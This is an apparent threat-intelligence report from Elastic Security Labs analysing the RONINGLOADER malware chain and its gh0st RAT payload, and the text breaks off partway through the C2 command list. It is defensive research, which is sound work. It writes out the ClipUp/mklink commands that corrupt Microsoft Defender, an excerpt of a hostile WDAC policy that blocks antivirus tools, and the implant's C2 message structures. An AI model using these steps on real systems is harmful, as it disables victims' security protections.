            <title><![CDATA[RONINGLOADER: DragonBreath’s New Path to PPL Abuse]]></title>
            <link>https://www.elastic.co/jp/security-labs/roningloader</link>
            <guid>roningloader</guid>
            <pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers RONINGLOADER, a multi-stage loader deploying DragonBreath’s updated gh0st RAT variant. The campaign weaponizes signed drivers, thread-pool injection, and PPL abuse to disable Defender and evade Chinese EDR tools.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom <a href="https://learn.microsoft.com/en-us/hololens/windows-defender-application-control-wdac">WDAC</a> policies, and tampering with the Microsoft Defender binary through PPL abuse.</p>
<p>This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.</p>
<h3>Key takeaways</h3>
<ul>
<li>The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender</li>
<li>Threat actors leverage a valid, signed kernel driver to kill processes</li>
<li>Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables</li>
<li>Phantom DLLs and payload injection via thread pools for further antivirus process termination</li>
<li>Final payload has minor updates and is associated with DragonBreath</li>
</ul>
<h2>Discovery</h2>
<p>In August 2025, <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">research</a> was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.</p>
<h2>RONINGLOADER code analysis</h2>
<p>The <a href="https://www.virustotal.com/gui/file/da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b/detection">initial infection vector</a> is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded <a href="https://nsis.sourceforge.io/Main_Page">Nullsoft Scriptable Install System (NSIS)</a> installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in <a href="https://www.elastic.co/jp/security-labs/getting-gooey-with-guloader-downloader">GULOADER</a>. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.</p>
<p>One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image40.png" alt="RONINGLOADER Execution flow" title="RONINGLOADER Execution flow" /></p>
<p>The attack chain leverages a signed driver named <code>ollama.sys</code> for antivirus process termination. The driver has a signer name of <code>Kunming Wuqi E-commerce Co., Ltd.</code>, with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as <code>慕讯公益加速器 (MuXunAccelerator)</code>, a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like <a href="https://www.virustotal.com/gui/file/507e41a0831a8f3a81f2cd6be76ea4d757f463524f6c93bba15d47984f9e29c1/details"><code>inject.sys</code></a>, contain <a href="https://github.com/Jemmy1228/HookSigntool"><code>HookSignTool</code></a> artifacts including the string <code>JemmyLoveJenny</code>, while the October 2025 <code>ollama.sys</code> sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.</p>
<p>Comparing <code>ollama.sys</code>’s PDB string artifact <code>D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb</code> with other samples, we discovered different artifacts from other submitted samples -</p>
<ul>
<li><code>D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb</code></li>
<li><code>D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb</code></li>
<li><code>C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb</code></li>
<li><code>h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb</code></li>
</ul>
<p>Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image35.png" alt="Digital signature of the driver" title="Digital signature of the driver" /></p>
<h3>Stage 1</h3>
<p>Our analysis began with the initial binary, identified by its SHA256 hash: <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code>. Extracting it reveals two embedded executables: a benign installer, <code>letsvpnlatest.exe</code>, and the malicious installer <code>Snieoatwtregoable.exe</code>.</p>
<p>The malicious installer, <code>Snieoatwtregoable.exe</code>, creates a new directory at <code>C:\Program Files\Snieoatwtregoable\</code>. Within this folder, it drops two files: a DLL named <code>Snieoatwtregoable.dll</code> and an encrypted file, <code>tp.png</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image10.png" alt="Files dropped on disk" title="Files dropped on disk" /></p>
<p>The core of the malicious activity resides within <code>Snieoatwtregoable.dll</code>, which exports a single function: <code>DllRegisterServer</code>. When invoked, this function reads the contents of the <code>tp.png</code> file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image37.png" alt="XOR decryption routine" title="XOR decryption routine" /></p>
<p>The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the <code>NtAllocateVirtualMemory</code> API, then creates a new thread to execute the shellcode by calling <code>NtCreateThreadEx</code>.</p>
<p>The malware attempts to remove any userland hooks by loading a fresh new <code>ntdll.dll</code>, then using <code>GetProcAddress</code> with the API name to resolve the addresses.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image32.png" alt="Loads a fresh NTDLL" title="Loads a fresh NTDLL" /></p>
<p>The malware attempts to connect to localhost on port <code>5555</code> without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image13.png" alt="Dead code" title="Dead code" /></p>
<h3>Stage 2 - tp.png</h3>
<p>RONINGLOADER first checks whether it has administrative privileges using the <code>GetTokenInformation</code> API. If not, it attempts to elevate its privileges by using the <code>runas</code> command to launch a new, elevated instance of itself before terminating the original process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image31.png" alt="Elevates privileges with RunAs command" title="Elevates privileges with RunAs command" /></p>
<p>Interestingly, the malware tries to communicate with a hardcoded URL <a href="http://www.baidu.com/"><code>http://www.baidu.com/</code></a> with the user-agent <code>“Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”</code>, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.</p>
<p>The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to &quot;True&quot; if any are found.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image11.png" alt="Scans for specific processes" title="Scans for specific processes" /></p>
<p>The following is a table of processes and the associated security products hardcoded in the binary:</p>
<table>
<thead>
<tr>
<th align="left">Process name</th>
<th align="left">Security Product</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>MsMpEng.exe</code></td>
<td align="left">Microsoft Defender Antivirus</td>
</tr>
<tr>
<td align="left"><code>kxemain.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxetray.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxecenter.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>QQPCTray.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QQPCRTP.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QMToolWidget.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>HipsTray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsDaemon.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsMain.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>360tray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
</tbody>
</table>
<h4>AV process termination via injected remote process</h4>
<p>Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.</p>
<p>First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (<code>vssvc.exe</code>) associated with the Volume Shadow Copy (VSS) service.<br />
It first grants itself the high integrity <code>SeDebugPrivilege</code> token.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image2.png" alt="Grants SeDebugPrivilege to itself" title="Grants SeDebugPrivilege to itself" /></p>
<p>It then starts the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">VSS (Volume Shadow Copy Service)</a> if it is not already running and fetches the PID of its associated process (vssvc.exe).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image26.png" alt="Starts VSS service" title="Starts VSS service" /></p>
<p>Next, the malware uses <code>NtCreateSection</code> to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name <code>\\.\Ollama</code>. The second section contains shellcode intended for execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image15.png" alt="Mapping section views to the remote process" title="Mapping section views to the remote process" /></p>
<p>RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">by SafeBreach</a> in 2023 with different variants.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image5.png" alt="Injection through ThreadPool tasks" title="Injection through ThreadPool tasks" /></p>
<p>Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> (FNV) algorithm to look up functions by hash instead of by name.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image25.png" alt="FNV algorithm instructions" title="FNV algorithm instructions" /></p>
<p>It first fetches the addresses of <code>CreateFileW</code>, <code>WriteFile</code>, and <code>CloseHandle</code> to write the driver to disk to a hardcoded path, <code>C:\windows\system32\drivers\1912763.temp</code>.</p>
<p>Then it performs the following operations:</p>
<ul>
<li>Create a service named <code>xererre1</code> to load the driver dropped to disk</li>
<li>For each of the following processes (<code>360Safe.exe</code>, <code>360Tray.exe</code>, and <code>ZhuDongFangYu.exe</code>), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID</li>
<li>It then stops and deletes the service <code>xererre1</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image27.png" alt="Function calls to kill Qihoo 360 software processes" title="Function calls to kill Qihoo 360 software processes" /></p>
<p>To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (<code>0x222000</code>) that takes a PID as a parameter and kills the process by first opening it with <code>ZwOpenProcess</code>, then terminating it with <code>ZwTerminateProcess</code> kernel APIs.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image1.png" alt="Kernel driver kills a process by PID" title="Kernel driver kills a process by PID" /></p>
<h4>AV process termination</h4>
<p>Returning to the main execution flow, the malware enters a loop to confirm the termination of <code>360tray.exe</code>, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.</p>
<p>It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image29.png" alt="Function calls to kill the rest of the security solutions" title="Function calls to kill the rest of the security solutions" /></p>
<p>RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:</p>
<ul>
<li>First, it writes the malicious driver to disk, this time to the temporary path <code>C:\Users\analysis\AppData\Local\Temp\ollama.sys.</code></li>
<li>A temporary service (<code>ollama</code>) is created to load <code>ollama.sys</code> into the kernel</li>
<li>The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.</li>
<li>Immediately after the kill command is sent, the service is deleted.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image6.png" alt="Write driver, create service, start service" title="Write driver, create service, start service" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image22.png" alt="Kill by PID and delete the service afterwards" title="Kill by PID and delete the service afterwards" /></p>
<p>Regarding Microsoft Defender, the malware attempts to kill the <code>MsMpEng.exe</code> process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the <code>MsMpEng.exe</code> process. This means that if the process is not running, the malware will send 0 as the PID to the driver.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image23.png" alt="Microsoft Defender process killing" title="Microsoft Defender process killing" /></p>
<p>The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into <code>vssvc.exe</code>, but the list of processes is different, as seen in the screenshot below.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image12.png" alt="Redundant code to kill security processes" title="Redundant code to kill security processes" /></p>
<p>The injection technique also uses threadpools, but the injected code is triggered by an event.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image39.png" alt="ThreadPool injection with an event as a trigger" title="ThreadPool injection with an event as a trigger" /></p>
<p>After the process termination, the malware creates 4 folders</p>
<ul>
<li><code>C:\ProgramData\lnk</code></li>
<li><code>C:\ProgramData\&lt;current_date&gt;</code></li>
<li><code>C:\Users\Public\Downloads\&lt;current_date&gt;</code></li>
<li><code>C:\ProgramData\Roning</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image20.png" alt="Folder creation to drop files" title="Folder creation to drop files" /></p>
<h4>Embedded archives</h4>
<p>The malware then writes three <code>.txt</code> files to <code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.<br />
This custom file structure is organized as follows:</p>
<ul>
<li><strong>Magic Bytes:</strong> The file begins with the signature <code>4B 44 01 00</code> for identification.</li>
<li><strong>File Count:</strong> This is immediately followed by a value indicating the number of files encapsulated within the container.</li>
<li><strong>File Metadata:</strong> A header section then describes the information for each stored file.</li>
<li><strong>Compressed Data:</strong> Finally, each embedded file is stored in a ZLIB-compressed data block.</li>
</ul>
<p>Here’s an example file format for the <code>hjk.txt archive</code>, which contains 2 files: <code>1.bat</code> and <code>fhq.bat</code>.<br />
This archive format applies to 2 other embedded files in the current stage:</p>
<ul>
<li><code>agg.txt</code>, which contains 3 files - <code>Enpug.bin</code>, <code>goldendays.dll</code>, and <code>trustinstaller.bin</code></li>
<li><code>kill.txt</code>, which contains 1 file - <code>1.dll</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image7.png" alt="Archive format for hjk.txt" title="Archive format for hjk.txt" /></p>
<h4>Batch scripts to bypass UAC and AV networking</h4>
<p><code>1.bat</code> is a simple batch script that disables User Account Control (UAC) by setting the <code>EnableLUA</code> registry value to 0.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image28.png" alt="1.bat content" title="1.bat content" /></p>
<p><code>fhq.bat</code> is another batch script that targets the program defined in <code>C:\ProgramData\lnk\123.txt</code> and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image14.png" alt="fhq.bat content" title="fhq.bat content" /></p>
<h4>AV process termination via Phantom DLL</h4>
<p>The deployed DLL, <code>1.dll</code>, is copied to <code>C:\Windows\System32\Wow64\Wow64Log.dll</code> to be side-loaded by any WOW64 processes, as <code>Wow64Log.dll</code> is a <a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">phantom DLL</a> that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (<code>TerminateProcess</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image24.png" alt="Wow64Log.dll Dllmain code" title="Wow64Log.dll Dllmain code" /></p>
<h4>ClipUp MS Defender killer</h4>
<p>The malware then attempts to use a PPL abuse technique documented by <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">Zero Salarium</a> in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through <code>cmd.exe</code> with the <code>ShellExecuteW</code> API</p>
<ul>
<li>It searches for Microsoft Defender's installation folder under <code>C:\ProgramData\Microsoft\Windows Defender\Platform\*</code>, targeting only the directory with the most recent modification date, which indicates the currently used version</li>
<li>Create a folder <code>C:\ProgramData\roming</code> and a directory link with <code>mklink</code> to point to the directory found with the following command: <code>cmd.exe /c mklink /D &quot;C:\ProgramData\roming&quot; “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”</code></li>
<li>It then runs <code>C:\Windows\System32\ClipUp.exe</code> with the following parameter: <code>-ppl C:\ProgramData\roming\MsMpEng.exe</code>, which overwrites <code>MsMpEng.exe</code> with junk data, effectively disabling the EDR even after a restart</li>
</ul>
<p>The author appears to have copied code from <a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">EDR-Freeze</a> to start <code>ClipUp.exe</code>.</p>
<h4>CiPolicies</h4>
<p>The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path <code>C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image33.png" alt="Write policy to disk" title="Write policy to disk" /></p>
<p>The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:</p>
<ul>
<li>Qihoo 360 Total Security by blocking <code>360rp.exe</code> and <code>360sd.exe</code></li>
<li>Huorong Security by blocking <code>ARPProte.exe</code></li>
<li>All executables signed by Huorong Security (<code>北京火绒网络科技有限公司</code>) via certificate TBS hash <code>A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4</code></li>
</ul>
<p>A critical component is the <code>Enabled:Unsigned System Integrity Policy</code> rule, which allows the policy to be loaded without a valid digital signature.</p>
<pre><code>Truncated...
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Inherit Default Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Unsigned System Integrity Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Advanced Boot Options Menu&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Update Policy No Reboot&lt;/Option&gt;
    &lt;/Rule&gt;
  &lt;/Rules&gt;
  &lt;EKUs /&gt;
  &lt;FileRules&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630&quot; FileName=&quot;*&quot; /&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7AB089C369772F34B39B&quot; FileName=&quot;*&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE7DBA9913BFC227DACD14&quot; FileName=&quot;360rp.exe&quot; InternalName=&quot;360rp.exe&quot; FileDescription=&quot;360杀毒 实时监控&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE763C85C9F42EC8669750&quot; FileName=&quot;360sd.exe&quot; InternalName=&quot;360sd.exe&quot; FileDescription=&quot;360杀毒 主程序&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;FileAttrib ID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; FileName=&quot;ARPProte.exe&quot; MinimumFileVersion=&quot;6.0.0.0&quot; /&gt;
  &lt;/FileRules&gt;
  &lt;Signers&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
      &lt;FileAttribRef RuleID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; /&gt;
    &lt;/Signer&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE77F7B523D1581F518639&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
    &lt;/Signer&gt;
  &lt;/Signers&gt;
...Truncated
</code></pre>
<h3>Stage 3 - goldendays.dll</h3>
<p>In the previous stage, RONINGLOADER creates a new service named <code>MicrosoftSoftware2ShadowCop4yProvider</code> to run the next stage of execution with the following command: <code>regsvr32.exe /S &quot;C:\ProgramData\Roning\goldendays.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image34.png" alt="Create MicrosoftSoftware2ShadowCop4yProvider service" title="Create MicrosoftSoftware2ShadowCop4yProvider service" /></p>
<p>The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.</p>
<p>To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:</p>
<ol>
<li>TrustedInstaller (<code>TrustedInstaller.exe</code>)</li>
<li>MicrosoftEdgeElevationService (<code>elevation_service.exe</code>)</li>
</ol>
<p>The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image18.png" alt="Start both TrustedInstaller and MicrosoftEdgeElevationService services" title="Start both TrustedInstaller and MicrosoftEdgeElevationService services" /></p>
<p>Next, the malware establishes persistence by creating a batch file with a random name within the <code>C:\Windows\</code> directory (e.g., <code>C:\Windows\KPeYvogsPm.bat</code>). The script inside this file runs a continuous loop with the following logic:</p>
<ul>
<li>It checks if the captured PID of the trusted service (e.g., PID <code>4016</code> for <code>TrustedInstaller.exe</code>) is still running</li>
<li>If the service is not running, the script restarts the previously created malicious service (<code>MicrosoftSoftware2ShadowCop4yProvider</code>) to ensure the malware's components remain active</li>
<li>If the service process is running, the script sleeps for 10 seconds before checking again</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image4.png" alt="Batch file content" title="Batch file content" /></p>
<p>Finally, the malware reads the contents of <code>C:\ProgramData\Roning\trustinstaller.bin</code>. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (<code>TrustedInstaller.exe</code> or <code>elevation_service.exe</code>). The injection method is straightforward: it performs a remote virtual allocation with <code>VirtualAllocEx</code>, writes to it with <code>WriteProcessMemory</code>, and then creates a remote thread to execute it with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image21.png" alt="Remote process injection" title="Remote process injection" /></p>
<h3>Stage 3 - trustinstaller.bin</h3>
<p>The third stage, contained within <code>trustinstaller.bin</code>, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image8.png" alt="List of process options to inject the payload into" title="List of process options to inject the payload into" /></p>
<p>When found, it will inject the shellcode into <code>C:\ProgramData\Roning\Enpug.bin</code>, which is the final payload. It will create a section with <code>NtCreateSection</code>, map a view of it in the remote process with <code>NtMapViewOfSection</code>, and write the payload to it. Then it will create a remote thread with <code>CreateRemoteThread</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image17.png" alt="Maps section view in the remote process" title="Maps section view in the remote process" /></p>
<h3>Stage 4 - Final Payload</h3>
<p>The <a href="https://www.virustotal.com/gui/file/3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33/detection">final payload</a> has not undergone major changes since <a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">Sophos</a>’s discovery of a DragonBreath campaign in 2023 and <a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">QianXin’s report</a> in mid-2022. It is still a modified version of the open-source <a href="https://github.com/sin5678/gh0st">gh0st</a> RAT.</p>
<p>In the more recent campaigns, a mutex of value <code>Global\DHGGlobalMutex</code> is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named <code>MyUniqueMutexName</code> and immediately destroying it afterward.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image19.png" alt="Mutex value MyUniqueMutexName within dead code" title="Mutex value MyUniqueMutexName within dead code" /></p>
<p>The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/roningloader/image9.png" alt="C2 domain and port XOR decoded" title="C2 domain and port XOR decoded" /></p>
<h4>Victim Beacon Data</h4>
<p>The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through <code>Sleep(&lt;random_amount&gt; * 1000)</code>. Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:</p>
<pre><code class="language-C">struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)
    
    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP
    
    // +0x008
    char hostname[50];               // Computer name or registry &quot;Remark&quot;
    
    // +0x03A
    char windows_version[?];         // OS version info
    
    // +0x0D8
    char cpu_name[64];               // Processor name
    
    // +0x118
    uint32_t entry_rdx;              
    
    // +0x11C
    char time_value[64];             // Implant installed time or registry &quot;Time&quot; value
    
    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)
    
    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows
    
    // +0x184
    char av_processes_found[128];    // Antivirus processes found
    
    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 
    
    // +0x244
    char crypto_wallet_track[64];    // &quot;狐狸系列&quot; (MetaMask) or registry &quot;ZU&quot; (crypto related tracking)
    
    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};
</code></pre>
<h4>C2 commands</h4>
<p>Request messages sent from the C2 server to the implant follow the structure:</p>
<pre><code class="language-c">struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};
</code></pre>
<p>The implant decrypts C2 messages through the following formula:</p>
<p><code>RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)</code></p>
<p>Below is a list of available commands that, for the most part, remain the same as 2 years ago:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>0</code></td>
<td align="left"><code>ExitWindowsEx</code> via a supplied <code>EXIT_WINDOWS_FLAGS</code></td>
</tr>
<tr>
<td align="left"><code>1</code></td>
<td align="left">Terminate implant gracefully</td>
</tr>
<tr>
<td align="left"><code>2</code></td>
<td align="left">Set registry key <code>Enable</code> to False to terminate &amp; disable implant persistently</td>
</tr>
<tr>
<td align="left"><code>3</code></td>
<td align="left">Set registry key <code>Remark</code> for custom victim renaming (default value: hostname)</td>
</tr>
<tr>
<td align="left"><code>4</code></td>
<td align="left">Set registry key <code>ZU</code> for MetaMask / crypto-related tagging</td>
</tr>
<tr>
<td align="left"><code>5</code></td>
